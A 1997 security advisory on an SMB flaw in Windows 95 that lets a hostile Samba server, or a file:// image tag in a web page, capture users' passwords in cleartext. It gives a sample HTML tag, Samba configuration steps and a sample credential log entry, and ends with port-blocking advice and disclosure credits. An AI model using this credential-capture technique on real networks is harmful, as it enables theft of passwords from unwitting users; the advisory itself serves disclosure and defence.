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- SMB Attacks on Windows 95
-
- VERSIONS AFFECTED
-
- Windows 95, with and without Internet Explorer.
-
- DESCRIPTION
-
- Apparently a new problem has been discovered that allows a malicious Web developer to snag a Windows 95
- password in cleartext, given only the IP address and Workgroup name. The action could be done in such a
- way that it leaves no noticeable trace what-so-ever, which makes it incredibly dangerous indeed.
-
- A Master Browser can be indirectly used as a tool against the machines it serves by introducing a hostile
- host in to the browse list. This exploit requires the use of a SAMBA server, which is a Unix based rendition of
- an SMB compatible server.
-
- Samba servers are capable of announcing themselves to a remote network (workgroup) on a different subnet,
- given the workgroup name. An intruder may use this technique in two ways to gain access to a username
- and password. They could introduce a share from the system they place in the browse list, and wait for a
- user to make an attempt at accessing it - at which point the username and password are transmitted. They
- could also embed the file:// tag into a Web page and wait for a user to arrive at that page - at which point the
- Web browser would initiate a connection to the remote server named in the file:// tag, and promptly transmit
- the username and password. Sample HTML tag:
-
- <img src=file://\\testsystem/testshare/testfile.gif>
-
- TESTING
-
- * Compile Samba using -DDEBUG_PASSWORD
-
- * Employ the remote announce option in the smb.cfg file, specifying the remote host or broadcast address,
- and workgroup name of the network you wish to test. Sample:
-
- workgroup = TEST
- preferred master = yes
- domain master = yes
- security = user
- debug level = 100
- remote announce = 10.0.0.255/WORKGROUP_NAME
-
- * Establish a share on the Samba server. Sample:
-
- [testt]
- path = /tmp
- public = no
- browsable = yes
-
-
- * If you wish, place one or more files in the directory, then start the smbd daemon. At this point, any SMB
- related traffic (e.g. browsing the local machine) will cause the Samba server to announce itself to the remote
- network specified. If the remote network is succesfully contacted, the Samba server may be added to that
- network's browse list.
-
- Later, checking the Samba log will reveal any information it has collected about usernames and passwords.
- Entries will look similar to this:
-
- checking user=[username] pass=[password]
-
- DEFENSE
-
- Even though you need to have the remote network's workgroup name previous to this type of attack, keep in
- mind that this name could be easily obtained using the Windows nbtstat command.
-
- Also take note that it is VERY easy for a perpetrator to completely hide themselves during this attack by
- making a few minor adjustments to their hostname and /etc/hosts file. In otherwords, this could be done in an
- untraceable fashion in certain instances.
-
- To stop this type of attack from outside your network (Internet), block access to inbound traffic destined for
- ports 137, 138, and 139 on your network. This does not solve problems with this type of attack coming from
- inside your network.
-
- Microsoft was informed of this problem on March 17, 1997. Watch this page for more information.
-
- Credits
-
- Discovered by Steve Birnbaum with help from Mark Gazit.
- Additional support from Yacov Drori and Roman Lasker.
- Thanks to hobbit for his paper on CIFS,
- Thanks also to BioH for helping to test this, and anyone else who helped or provided ideas.
-
- Posted here at The NT Shop March 17, 1997 - 10:40pm